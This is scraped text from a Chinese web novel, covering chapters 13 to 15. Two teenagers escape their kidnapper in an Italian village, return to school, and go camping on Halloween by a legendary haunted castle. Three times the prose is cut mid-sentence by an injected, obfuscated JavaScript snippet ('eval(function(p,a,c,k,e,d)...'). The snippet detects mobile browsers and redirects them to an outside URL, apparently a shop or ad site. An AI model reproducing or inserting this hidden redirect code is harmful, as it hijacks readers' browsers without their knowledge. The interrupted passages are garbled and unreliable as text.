“嘿,听着,”他冲动的把电话抢过来,“是我绑架了你的儿子,若想要他平安无事,你就马上带着莫妮卡过来交换!” 朱塞佩打开了免提,把一张事先写好的纸条递到何少蘅面前,然后挥动着左轮手/枪,逼迫他读出纸条上的台词。 “亲爱的爸爸,目前我还活着……”中国少年很不情愿的念道,“请你尽快按约定的方式来救我,同时务必不要报警,否则我就死定了……” 大家都屏息凝气,紧张的等待着。可是过了快有一分钟,对方始终静默着,一个字也没有回答。 朱塞佩不由得焦躁起来,对着话筒大声喝道:“喂,你到底想怎么样?是男人就干脆一点,不要婆婆妈妈的!” “朱塞佩,你这个蠢货……”电话那头,突然响起一个又尖又细的女子声音,“我早已跟你说得很清楚,我们之间算是彻底结束了,我绝不会回到你身边,死了这条心吧!你根本不是男人,不中用的窝囊废……” 手机的音量被开到最大,女子尖锐的声音回荡在屋子四周,像锋利的针一样,刺痛着每一个人的耳膜。 对于朱塞佩而言,那一个个字更像是无情的鞭子,抽打在他濒临崩溃的心上。 “我不相信,我不相信……”他脸上又浮现出那种做梦似的茫然,口中含糊的喃喃着,“莫妮卡不可能这样对我,不可能……” 夏薇和罗珊娜已经呆住了,完全没有想到,事情会以这样的方式收场。她们不约而同低下了头,心中都感到无限的难过。 何少蘅是这些人当中唯一的例外。他挂断了手机,脸上带着一副“我早就猜到了”的神情。 “只有傻瓜才会自己骗自己,”他冷冷的盯着朱塞佩,语气也是冷冰冰的,“现在你总该承认,你就是一个自欺欺人、愚蠢可笑的傻瓜。” “你太没有同情心了!”夏薇责备的横了他一眼。 她忘记了朱塞佩本是绑架他们的匪徒,忙着用婉转而温和的言辞,安慰这个满心痛苦的意大利青年。 “这一切都怪那个姓何的魔鬼……”从朱塞佩颤抖的唇中,不断发出低沉的诅咒,“是的,他就是一个魔鬼!” “在责怪别人之前,拜托先检讨一下自己,你自己的懦弱无能……”何少蘅扔下这句更尖刻的话,“懦夫才需要虚幻的安慰,因为他们没有勇气面对现实,而且根本输不起。” “嘘——”夏薇和罗珊娜同时愤怒的瞪着他。 “你果然是你父亲的儿子,这种冷酷和无情简直一模一样……”朱塞佩抬起了血红的眼睛,好似他的怒火突然被点燃了,“我以圣母的名义起誓,让我痛苦的人,我一定要他比我更痛苦一百倍!” 这句恶狠狠的誓言很快被付诸实践了。从当天晚上起,两个少年男女的生活待遇急转直下,原本丰盛的晚餐一去不复返,取而代之的是一杯冷水,和一块石头般硬邦邦的黑面包。 “你不该说那些惹人生气的话。”夏薇闷闷的用黑面包敲着墙壁,墙壁居然被砸得凹进去一个小坑。 “我那么做是一片好心……”何少蘅振振有词,“因为只有仇恨才能减轻一个人的痛苦,进而激发出他的斗志。” “你对人好的方式还真是与众不同,”夏薇苦笑道,“可惜朱塞佩不领你的情,而且以他的性格,只怕还会做出一些更可怕的事!” “他要对付的只是我父亲,绝不会对我们怎么样的,不用担心。”少年温和的安慰她。 “最担心的人,应该是我妈……”夏薇叹了口气,“算算日子,她也快从城里回家了,要是发现我消失了,一定会牵挂得要命。” “你想家了?” “我想妈妈,还有学校里的同学、老师……也不知道这辈子还有没有机会见面……” “你们很快会见面的,”少年冷静分析道,“刚才的那通电话后,警察已经知道绑架案的主谋是朱塞佩,接着就会查出他和罗珊娜的关系,顺藤摸瓜的找到这个村庄,只不过是时间问题。” “这么说来,朱塞佩的处境不是很危险?”夏薇大惊失色,忘记了为自己可能的获救而开心。 “如果想帮助他,同时也是帮助我们自己,也许只有一种方法。” “什么方法?” “越狱!” 这个晚上,天空中没有月亮,也没有星星。午夜过后,整个村庄都笼罩在一片静谧的黑暗中,只听见柠檬树的叶子在夜风中沙沙作响,远处的山坡上有条狗在吠叫。 两个少年男女轻手轻脚的行动起来,将被单、枕套和浴巾结成长长的绳索,在铁架床的栏杆上绑紧了,看清楚庭院里空无一人,然后小心的将绳索垂到窗户下面去。 高高的窗户下,是一片坚硬的石头地面。夏薇伸头向下看了一眼,不由得打了个哆嗦。 “你要是害怕,我可以试试背你下去。”何少蘅满脸真挚的提议道。 “这个……”夏薇红着脸,硬着头皮答道,“这个高度应该摔不死人,还是不用麻烦你了。” “那我先爬下去,接着轮到你,”少年一步跨到窗台上,抓住了绳索,“记住用你的两只手交替下降,千万不要双手同时放开……” 一转眼间,他像猫一样轻盈的落到了地面,在夜幕下向着窗口招手。 夏薇深吸了一口气,战战兢兢的爬上窗台,以一种笨拙难看的姿势缓缓下降。 夜晚的风吹得绳索轻轻晃荡,也吹得她全身发抖,四肢僵硬得几乎不听使唤。悬在半空中的这几十秒,对她来说简直有一个世纪那么漫长。 “干什么呢,你们!”黑暗的庭院里,突然毫无预兆的响起一声暴喝。 这个声音仿佛当头落下一记霹雳,把可怜的少女吓得魂飞魄散。她身子一震,两只手同时松开了绳索,整个人像陨石般笔直坠落。 何少蘅本能的伸手,想要将她接住。在巨大的重力作用下,他向后一仰,夏薇则向前一扑,两人摔在地上,登时抱在一起。 夏薇的脸埋在他的颈窝里,又一次闻到少年身上那种木叶般的清香,不由得心中慌乱,面红耳热。何少蘅搂住了她柔软的身躯,只觉得脑中一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923744|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片晕沉沉的,像是喝醉了似的。 “你有没有受伤?”过了片刻,他轻轻开口。 “你有没有受伤?”夏薇也问道。 因为在同一时间说出完全相同的两句话,他们又都不约而同微笑了。 “喂,这里是你们亲热的地方吗?快点起来,给我滚回房里去……” 朱塞佩挥舞着手/枪,出现在庭院的拐角。原来他和罗珊娜一直昼夜轮班,24小时在楼下值守着,就是为了防备“人质”逃跑。 两个少年男女慌张的从地上爬起来,带着两颗急促跳动的心脏,被他们持枪的狱卒押回了囚室。这晚的下半夜,他们放任着自己无法平静的思绪,不断回想着这几天相处中种种微小的细节,尤其是庭院中那短暂而奇异的时刻,然后双双迷失在失眠的荒漠里。 首次越狱失败的经历,并没有让何少蘅气馁。第二天天刚亮不久,他已经坐在晨曦中的窗前,埋头在那堆过期的旧报纸里,一张接着一张,仔细的翻阅起来。 “大清早的,这么用功做什么?”夏薇睁开惺忪的睡眼。几分钟前,她才刚刚进入梦乡。 “半夜里我突然想到了一件事,”少年的声音低而急切,“这件事非常重要,但我一时想不起来在哪里看到过……” “是吗,那等你想起来了再叫醒我……” 这次她还没有睡着多久,马上又被摇醒了。 摆在她面前的,是一张将近两周前的《意大利晚邮报》。打开的那一版上,醒目的新闻标题写着《托斯卡纳银行系统15-16日举行集体罢工,抗议减薪和裁员》。 “像这样的罢工,在意大利几乎每个月都会发生……”夏薇从床上坐起来,恹恹的伸了个懒腰,“我不明白这有什么可奇怪。” “我倒觉得这件事奇怪极了。”何少蘅以一种不容置疑的口吻说道。 “嗯?”少女还有些迷迷糊糊的,用手背揉了揉眼睛。 “罗珊娜说过,她的儿子吉诺在佛罗伦萨当画家,15或16号那天通过银行汇款给她,”何少蘅的目光闪动着,“佛罗伦萨就在发生罢工的托斯卡纳大区,她的儿子怎么能从那里汇款?” 夏薇眨了眨眼睛,一句话也没有回答。 “那个一直以来给罗珊娜汇款的人,其实是你,对吗?”少年提高了音量,像审问犯人似的。 “嘘——小声一些!”夏薇急忙制止了他。 “你全都承认了?” “好吧,我承认……”少女无奈的坦白了一切,“罗珊娜的眼病不久会导致失明,必须到瑞士去做眼角膜移植手术,这需要一大笔资金……” “但你为什么要用她儿子的名义?” “因为只有这样,罗珊娜才会感到亲人还在牵挂她,”夏薇低声祈求着,“帮帮忙,请你一定要守住这个秘密……” 何少蘅凝视着她,突然产生了一种想要拥抱她的冲动。这少女不但有美好的外表,更有一颗金子般高贵的心。 他还没有来得及拥抱她,另一个人已经替他做了这件事。 “砰”的一声,房门被用力推开了,罗珊娜激动万分的扑过来,将夏薇紧紧的搂在怀中。慈祥的老妈妈每天都在这个时间送早餐来,在房门外正好听到了两个少年男女的对话。 “薇,现在我才知道你为我做的一切,但我……我却那样对你……”她用两只苍老的手抹着眼泪,“趁着朱塞佩还在睡觉,你们赶快逃走吧……” 她把一堆热乎乎的烤面包塞给二人,将他们打发出了门。 清晨,阳光满地。 重新回到了牢笼外广阔的世界,呼吸着自由自在的空气,何少蘅的嘴角不禁泛起了一丝笑意。 谁也不知道,他在房间里的那些话,其实是算好了时间,有意说给罗珊娜听的——这个机智的计策果然奏效了! 踏上来时的那条山路,两个少年男女不约而同回过头,望向晨曦中如诗如画的村庄。他们的感觉都像是做了一场梦,一场华丽而刺激、让人不愿醒来的梦…… 14. 幽会 “咦,两个私奔的情人回来啦?……” 一回到R镇的车站,夏薇和何少蘅就被过路的行人开起了玩笑。露天的咖啡座上,几个玩纸牌的老头也站起来,像是欢迎凯旋的英雄似的,与他们热烈拥抱致意。 过去的几天,两个失踪人口的巨幅照片每天都在本地新闻上出现,几乎所有的居民都认得这两张东方面孔了。他们自己实在有些哭笑不得,居然以这种方式成了镇上的“名人”。 在学校里,这对少年男女也得到了明星般的待遇,被一群同学和老师围着问长问短。夏薇发挥了话痨的本色,用滔滔不绝的描述满足着这些人的好奇心: “我们被关进了海边峭壁下面一个阴森的山洞,山洞里住着黄风变成的妖怪,一张口就能喷出狂风和砂石;还有一种至少五层楼那么高的怪兽,长着狮子的头、羊的身体和蛇的尾巴……”她的想象力在《西游记》和《荷马史诗》之间反复横跳。 这种天花乱坠的故事,可应付不了闻讯赶来的警察,夏薇和何少蘅被请到学校的会客室里,轮流接受了询问。 让警察们失望的是,他们两人的回答不但无懈可击,而且惊人的一致,对于“绑匪”朱塞佩的下落,始终不肯泄露一个字。 仿佛一切都没有发生过似的,生活回到了正常的轨道之中。课间休息时,夏薇和弗洛伦蒂娜这对久违的好友又凑在一起,东拉西扯的闲聊着。 女生之间的话题,当然永远也离不开男生。 “薇,我终于知道你为什么一直不交男友了,”弗洛伦蒂娜咯咯的笑着,像一只刚下蛋的母鸡,“原来你一直在等,等待你的中国白马王子……” “神经!不知道你在说什么……”夏薇云淡风轻的表情,让人看不出她真实的想法。 “对你的死党有必要这样保密吗,”弗洛伦蒂娜白了她一眼,接着又贼兮兮一笑,“你难道否认喜欢何少蘅?” “你的想法很浪漫……”夏薇防守起来滴水不漏,“但我和他只不过是同学,最多可以算是朋友。” “朋友?那一点也不浪漫,简直是浪费……” “什么浪费?” “浪费他那张脸啊,”弗洛伦蒂娜舔了舔嘴唇,“班上的女生们普遍认为,何少蘅比恩佐还要好看一些。老实说,我现在对恩佐都有些动摇了……” “你喜欢就自己上吧,善变的女人!”夏薇又好气又好笑。 “假如我们不是死党,也许我真的会考虑跟你抢……哈哈,哈哈!” “抢你的大头鬼!”夏薇轻轻拍了一下她的头,“你应该考虑的是,万圣节的晚上有什么安排……” 话题被转移到即将来临的万圣节上,她们和班上其他几个同学一起,热火朝天的讨论着如何度过这个狂欢的夜晚。 与此同时,何少蘅也恢复了他好学的习惯,忙着到处跟人借笔记,好把前面几天缺的功课补上。 “拿去吧!不必急着还给我……” 一本淡黄色小牛皮封面的本子伸了过来,一张打着许多脸洞、模样怪诞的脸出现在他面前。 罗西,不久前还跟他针锋相对、势如水火的罗西,居然会主动借笔记给他,这让何少蘅多少有些意外。 “何,干得漂亮!”罗西用力拍了拍他的肩膀,“本来你们完全可以说出真相,让警察去抓那个绑匪,但你却没有这么做……我认为你的确是个不一般的人。” “谢谢你的认可。”何少蘅友善的笑了笑。 他对这个意大利少年也不禁刮目相看,因为只有真正大度的心胸,才能很快的抛开过去的芥蒂,从敌对变为朋友。 发生了巨大改变的人,除了罗西以外,还有班上的老师。 上课铃声响起,M老师低垂着一双红肿的眼睛,拖着缓慢的步子走进了教室,虽然还是画着精致的妆容,却难以掩饰无精打采的神色。整节课下来,她的脸上都没有露出一丝笑容,说话时的声音也沙哑而低沉,仿佛刚刚哭过似的。 M老师今年刚从大学毕业,比这帮学生只大了五六岁。虽然是学生们敬爱的老师,但说到底,她毕竟只是个二十出头的年轻女孩,像任何一个女孩那样,也有自己的烦恼和秘密。 “你猜M老师会不会发生了什么事,”中午放学的时候,夏薇很自然的与何少蘅走在一起,“她今天看起来不太对劲……” “是吗?我没有注意……”少年的注意力完全放在了听课上。 “后天晚上就是万圣节前夜,班里的几个同学打算一起出去放松一下,”夏薇接着道,“我们本来也想邀请M老师,可是她一口就回绝了。” “嗯……哦……”何少蘅沉浸在手中那本打开的笔记本中,随口敷衍着。 “假如邀请你那晚去露营,你肯定不会拒绝吧?” “露营?”少年猛地从本子里抬起了头。想到能跟夏薇一起在外面过夜,他不由得一阵欣喜。 按捺住心中的激动,他假意犹豫道:“我还有那么多的功课……” “只是一个晚上而已,不会太耽误功课的!”夏薇不容分说的替他做了主,“到时候带上帐篷和睡袋,先到我家来,我带你去郊外那座废弃的古堡……” 万圣节虽然是一个起源于英语国家的外来节日,但在意大利也被列入了法定假期,生性/爱热闹的小镇居民,在这一天更有“百鬼游街”的传统。 主街两旁的商店橱窗,一大早已被镂空的南瓜灯、纸糊的蝙蝠和塑料的头骨装饰起来,充满了浓厚的节日气氛。随着夜幕降临,光陆怪离的灯光亮起,打扮各异的“妖魔鬼怪”纷纷走上了街头——全身毛茸茸的狼人,脸色惨白、露出獠牙的吸血鬼,屠夫围着染满血迹的围裙,女巫骑着不会飞的扫帚…… “那个小孩不是托托吗?”在一户人家的院子外,何少蘅指着一个打扮成僵尸的小男孩。托托正在挨家挨户讨要糖果,趁机用口红给邻居家的狗画上血淋淋的嘴唇。 “嘘——快走!不要让他发现我们……”夏薇做了个手势,做贼似的溜进了路边的一条小巷。 从今天早上起,托托一直像膏药般黏着她不放,吵闹着也要跟去露营,夏薇不知费了多少气力,才摆脱了这个烦人的弟弟。 幽深的小巷里阒无人迹,只有两个少年男女的脚步声,将秋夜衬托得更加寂静。沿着石头台阶一路向下,两旁狭窄的墙壁之间,逐渐露出远方星空下的大海,以及海边那一块凸出的岬角。 岬角上坐落着他们今晚的目的地——那座中世纪建成的古老城堡。历史上,这片地区曾是赫赫有名的海洋共和国,为了抵御海上的外敌,坚固的城堡在海边的险要位置兴建起来,在经历了近千年的岁月和数次海啸、地震后,虽然早已残破,却仍屹立不倒。 “这座废弃的城堡有什么特别,为什么要去那里过万圣节?”何少蘅有个恼人的习惯,每当提问的时候,总要炫耀似的眨眨他那漂亮的睫毛。 “因为一直以来,城堡中都有闹鬼的传说……”夏薇压低了声音,神秘兮兮的说道,“那里最后的主人是一位圣殿骑士,据说他在一次海上作战中被砍掉了头颅。后来一到万圣节的前夜,人们常常看到无头骑士骑着他的幽灵骏马,在城堡外的大海上驰骋……” “要是真的闹鬼,你害不害怕?” 何少蘅满心希望她作出肯定的答复,然后就可以借着这个机会,牵住她的手。 “害怕?”夏薇轻松的大笑道,“一向只有别人怕我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923745|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我可从来没有怕过人,更不要说是鬼了……” 少年虽然没有得到想要的机会,那只不安分的手却活动起来,借着黑夜的掩护,以每秒钟一毫米的速度移向旁边。 “数到五下,我一定要握住她的手。”他在心里给自己下达了命令。 “五……” “四……” “三……” “二……” “吱嘎!——” 小巷右边的一扇铁门突然向外打开,从没有点灯的门后面,出现了两个黑漆漆的人影,把夏薇和何少蘅吓了一大跳。 两个人影在黑暗中互相纠缠着、热烈拥吻着,发出急剧的喘息,听得出来是一男一女。 夏薇的脸发热,何少蘅的心狂跳。 纠缠的人影忽分忽合,其中的那名女子似乎在奋力挣扎,却无法挣脱男人的搂抱。她喘着气,低声咒骂道:“够了,放开我!……快放开我……” 女子的声音虽然断续而微弱,听起来却十分耳熟——居然很像是M老师。 这个色狼竟敢调戏他们的老师,简直胆大包天! 夏薇又惊又怒,破口大骂道:“死色狼!叫你滚你还不快滚?” “滚”这种动作,通常是需要别人协助才能完成的。所以何少蘅立刻冲了过去,揪住那男子的后领,用力将他往后一拽。 失去了重心的男子踉跄倒地,像皮球般骨碌碌的滚下几级台阶,直到撞上小巷转角处的墙壁,才狼狈的停住了。 “走,把你的垃圾拿走!以后我再也不想见到你……”M老师从门边捡起一束玫瑰花,气冲冲的摔在男子身上。 也许是被这阵响声惊动,路边的一幢楼房里亮起了灯光,透过玻璃窗朦胧的照射下来。 从夏薇站立的角度,看不见那男子的容貌,可是眼尖的何少蘅却看得一清二楚。 一瞬之间,中国少年的眼睛睁得比铜铃还大,失声惊叫道:“你……竟然是你……” 男子一骨碌从地上爬起来,头也不回的溜掉了。 夏薇赶到何少蘅身边,问道:“那个色狼究竟是谁?” “我怎么知道是谁……” “咦,你不是认出了他吗?” “这地方黑灯瞎火的,刚才我也看得不太清楚,很有可能认错人了……” M老师本来呆呆的倚着铁门,慌张的看着她的两个学生。听到何少蘅这番话,她悄悄吁了一口气,仿佛心中悬着的大石头终于放下了。 不久前,夏薇为了打零工,曾经来过这扇门后面的M老师家里。那天也正是M老师告诉她,小巷里有一条便捷的小路可以直通山下的城堡。 此时此刻,夏薇却宁可自己今晚没有走这条路——作为学生,撞见自己敬爱的老师和某个神秘男子幽会,世上还有比这更尴尬的事情吗? “请您放心,我们不是多话的人,不会把今晚的事到处乱说……” 何少蘅扔下这句话,伸手拉住了夏薇。二人飞快的逃离了现场,仿佛刚刚做了丑事、被当场逮住的不是别人,而是他们自己。 接下来的路途中,好奇的夏薇不断旁敲侧击,想要问出“色狼”的身份,可是何少蘅却一直保持着谨慎的沉默。 虽然不愿在背后谈论别人的是非,更不会随便揭人隐私,但何少蘅心里清楚的意识到,在M老师和“那个男子”之间,一定有某种不为外人所知的关系,而M老师最近反常的举止,似乎也得到了合理的解释。 为了维护M老师的名誉,他决定把这个秘密永远守在自己心里。 在内心深处,他甚至有些感谢今晚的这一幕插曲—— 趁着刚才混乱的局面,他终于成功牵住了夏薇的手! 15. 骑士 何少蘅记得很清楚,这是他第三次握住夏薇的手,也是感觉最特别的一次。 少女的手轻盈如羽毛,纤弱如花瓣,又空灵如春水,仿佛随时要他的指缝中流走。这种微妙的触感,让他的心不禁起了一阵轻轻的颤抖。 他本来不是一个容易局促的人,现在却有些紧张起来,牵着夏薇的动作也变得僵硬而怪异,像是牵着一匹马。 夏薇假装根本没有觉察似的,任由自己的手被他握住。 一种萌动的情愫,像野生的藤蔓在黑夜里潜滋暗长。 “俗话说,人不可貌相,我实在想不到,像你这样安静的中国人也很会打架……”为了打破令人尴尬的沉默,夏薇只好没话找话说。 “不要说是你,我自己也没有想到。”何少蘅恢复了镇定,向她笑了笑。 “在我认识的所有人里面,你绝对是打人最厉害的一个!” “这句话算是夸我呢,还是糗我?”少年自嘲的苦笑道,“以前在中国的时候,我从来没有跟人动过手,但是一来意大利,就把咏春拳用上了好几次……” “咏春拳?”夏薇被这个词吓了一跳,惊喜的叫出声来,“你使用的就是正宗的咏春拳?” “是的——我四岁学英语,五岁学钢琴,六岁学绘画,七岁学咏春……” “天啊!你真是多才多艺,就像莱奥纳多·达芬奇一样……”少女的钦佩之情溢于言表,“我真羡慕你,对这么多东西都感兴趣……” “你错了,”何少蘅淡淡的打断了她,“其实我对这些一点兴趣也没有。” “那你为什么还要学?”夏薇惊讶起来。 “我爸让我学,我就得学;他让我做什么,我就必须做什么……就算自己根本不喜欢,也没有办法拒绝。” “你的童年,难道都在做自己不喜欢的事情?” “童年?我哪有什么童年……”少年将目光移向远方的夜空,“人家说,小时候是一生中最幸福、最开心的,我可从来没有过这种感觉。虽然从小家里的条件就很好,但那又如何呢,我只不过是一个衣食无忧的囚徒……” 他的语气虽然是平平淡淡的,那双漆黑如夜的眼睛却低垂下去,仿佛不愿让人看见他眼中掩藏不住的凄凉和哀伤。 夏薇感到自己的心突然抽紧了,像是痉挛似的。 她完全能够理解他的感受,因为那种深藏于心、无人知晓的痛苦,正是她从小到大最熟悉的。 她的脑海中渐渐浮现出一幅画面——何少蘅被关在房里读书、写字、练琴、学拳的时候,她自己正无拘无束的在大海里游泳,在鲜花盛开的山谷里远足,在清晨的码头看渔船拉网,在农民的果园帮忙采摘水果…… 他们两人所过的生活是何其不同,相比之下,她的那些烦恼又是多么微不足道。 自由自在的生活,在她就像呼吸一样寻常,但对于何少蘅而言,却是一种难得的奢侈品。 “可怜的朋友,我愿把自己的快乐分一半给你……”夏薇的黑眼睛亮晶晶的,像是包着一汪眼泪,“要是我早些认识你就好了。” “现在认识也不晚……一点都不晚。”少年将她的手握得更紧。 “希望你忘掉过去不开心的回忆,以后永远都开开心心的!” “你也一样!” 小路走到了尽头,眼前呈现出的景象如同梵高的画作——茫茫夜空中铺展着一片灿烂的繁星,在广阔的海面上映出一条闪亮的道路,仿佛银子铺成的一般。 如梦如幻的星光,把他们的身影投射在地上,两个影子几乎重叠在一起,像是合成了一个。 两人在星空下一起向城堡飞奔过去。 城堡的外围有片茂密的树林,不但一年四季绿草如茵,而且坐拥着无敌海景,一向是小镇居民假日露营的首选。夏薇和何少蘅到这里时,提前抵达的同学们早已安营扎寨完毕了。 各种颜色的帐篷旁,没吃完的野餐还在冒出香气,可是周围却看不见一个人影。 夏薇四下张望了一阵,发现同学们全都聚集在海边长长的堤坝上,有人眺望着远方的海面,有人交头接耳的议论着什么。 “你先去看看发生了什么事,等我搭完帐篷就过来。”何少蘅说完就步入了树林中。 夏薇卸下自己的背包,大步流星的走向堤坝。从三三两两的人群中,她准确的识别出弗洛伦蒂娜硕大而醒目的身影。 “薇,你来的正是时候……”弗洛伦蒂娜抱着一个高倍望远镜,兴奋的声音盖过了脚下汹涌的海浪,“简直难以想象,那个传说原来是真的……”她激动得语无伦次了。 “哪个传说?”夏薇一头雾水。 “无头骑士啊,还有他的幽灵骏马——今晚真的在海上出现了!” 高倍望远镜是“哲学家”安东尼奥带来的,他本来正在海边观测星空,谁知不经意间,竟然看到大海上漂浮着“无头骑士”的身影。 “这是可能的吗?”夏薇半信半疑的凑到望远镜前,顺着弗洛伦蒂娜指引的方向看去。 于是她的嘴巴立刻张大了,大得足以塞进一个鸭蛋。 星光朦胧,远方的海水笼罩着一层薄纱般的轻雾。在海天相接的尽头,一个银鞍白马的无头骑士在雾中若隐若现,仿佛天边的浮云,缓慢寂寞的飘移着,又仿佛海上的一叶孤舟,随着不息的波涛起起伏伏。 夜空中的星星通常相距几百光年,当数百年前发出的星光到达地球时,曾经热血的骑士早已葬身在这片他挚爱的大海,就连他显赫一时的姓氏,也被尘封在遥远的历史中了。 “我不会正在做梦吧?”惊呆了的夏薇回过神来,用力揉了揉眼睛。 等她再往望远镜中看去时,海上只剩一片浩渺的烟波,“无头骑士”已经消失在梦一般的雾气中,就好像他从来没有存在过一样。 没有任何相机能够拍下这亦真亦幻的一幕,但亲眼所见的画面,已足以动人心魄,更让夏薇觉得自己十分幸运。唯一让她有点遗憾的是,何少蘅并没有来得及看到。 从海边走回营地的路上,同学们各执一词,针对“无头骑士”的真实性和科学性,展开了七嘴八舌的讨论: “传说中的人物不可能真实存在,我们看到的应该是一种光线折射现象,就像沙漠里的海市蜃楼……” “也许那块空间正好是一个平行宇宙的入口,从那里可以看到过去发生的一切事情……” “别忘了今晚是万圣节,也有可能真的是鬼魂出没……” “这个世界上真的有鬼吗?我可不相信……”有人提出质疑。 最有发言权的人,应该要算“哲学家”安东尼奥,毕竟是他第一个发现了今晚的奇景。 “怀疑一切或者相信一切,同样是错误的习惯……”安东尼奥推了推玳瑁眼镜,高深莫测的总结道,“因为造物主的智慧是我们一无所知的。” 对于安东尼奥讲的话,大家已经习惯了从不认真去听——反正听也听不懂。 回到林中营地,夏薇打开带来的背包,从里面拿出一个睡袋,然后钻进了自己闺蜜的帐篷。在外面露营的时候,她照例总是跟弗洛伦蒂娜住在一起。 弗洛伦蒂娜去别的同学那里觅食了,把她的宠物猫“拉斐尔”留在帐篷里。此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923746|192677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时它在一张柔软的垫子上睡得正酣,不断发出响亮的呼噜声。 这只体格壮硕的橘色加菲猫,睡觉时喜欢仰面平躺着,毫不矜持的伸展开四肢,仿佛一个汉字的“大”字。怪异而滑稽的姿态每次都把夏薇逗得大笑。 少女忍着笑,打开手机,给睡梦中的“拉斐尔”拍了几张照片。 “应该让何少蘅也看看……”不知从什么时候起,只要遇见稀奇有趣的事,她的第一个念头总是何少蘅,简直迫不及待的想把一切都跟他分享。 小镇郊外的网络信号很不好,照片发送了半天也不成功,夏薇只好爬了起来,打算亲自出去拿给何少蘅欣赏。 刚钻出帐篷,她几乎跟一个修长的人影撞了个满怀。 何少蘅居然已经站在帐篷外面了。 “难道你是猫变的吗,走路一点声音都没有……”受到了惊吓的少女抗议道。 “我才刚刚过来,差点也被你吓了一跳。” “深更半夜,鬼鬼祟祟的靠近女生寝室,你知不知道这很危险!”夏薇假装生气的质问他。 “危险的是我,还是你?”何少蘅微笑着反问道。 能把一句近乎调情的话说得如此自然而然,也只有何少蘅才能做到。 从来没有一个人像他这样,身上兼容着两种完全相反的气质——当他不笑时,就像冰山一样孤高冷傲,但他偶尔露出的笑容,却又带着月光般的柔和,和孩子般的天真坦诚。 不笑的何少蘅已经让女孩子神魂颠倒,当他笑起来时,就更有一种令人难以抗拒的魅力。 “你来找我有何贵干?”夏薇盯着自己的脚尖,仿佛不敢直视他带着笑意的眼睛。 “刚才我闲着没事,在附近走了一圈,结果竟然有意外的发现。” “发现了什么?” “原来城堡边上有道残破的矮墙,可以从墙头爬过去……”何少蘅低声说道,“我打算今晚进城堡里探险,你要不要一起来?” 在意大利的土地上,世界级的文化遗产和历史文物多如牛毛,就算在弹丸之地的R镇,至今也仍留存着几处公元一世纪的古罗马遗迹。相比之下,这座中世纪城堡算是相当的“年轻”,就连当地的文物管理局也不太重视,因而一直没有获得充分的修复和正式的开放。 夏薇虽然从小在R镇长大,却也从没进入过城堡内部。她只听说,那里的地下有座巨大的墓穴,埋葬着许多年前不知名的尸骸,楼上华丽而阴森的卧室里,夜晚常常传来古怪的声响…… 这些惊悚灵异的传说,对于少男少女正是一剂最强力的兴奋剂,到一个闹鬼的城堡度过万圣节之夜,还有什么比这更刺激的呢? “你说的矮墙在什么地方?”夏薇两眼放光,迫不及待的问道。 “就在树林西边……” 何少蘅露出了难以觉察的微笑,笑得像一只狡猾的小狐狸。 最近他刚学到一个新的知识点,叫作“吊桥效应”——当一个女生走过危险的吊桥时,会不由自主的心率加快,如果这时身边正好有一个异性,她就会错把这种心跳的感觉理解为对方使自己怦然心动。 所以他现学现用,触类旁通,邀请夏薇一起去夜探那黑暗神秘的古堡。 其实这种伎俩,任何一个正常男生都会很自然的想到,但对于何少蘅而言,一切有关恋爱的理论和实践,都只是来源于书本里的知识。 毕竟他有生以来,还是初次对一个少女动心…… 何少蘅怎么也没有想到,他们刚走出树林,就听到城堡里传出一声惊心动魄的尖叫: “救命!——救命呀——”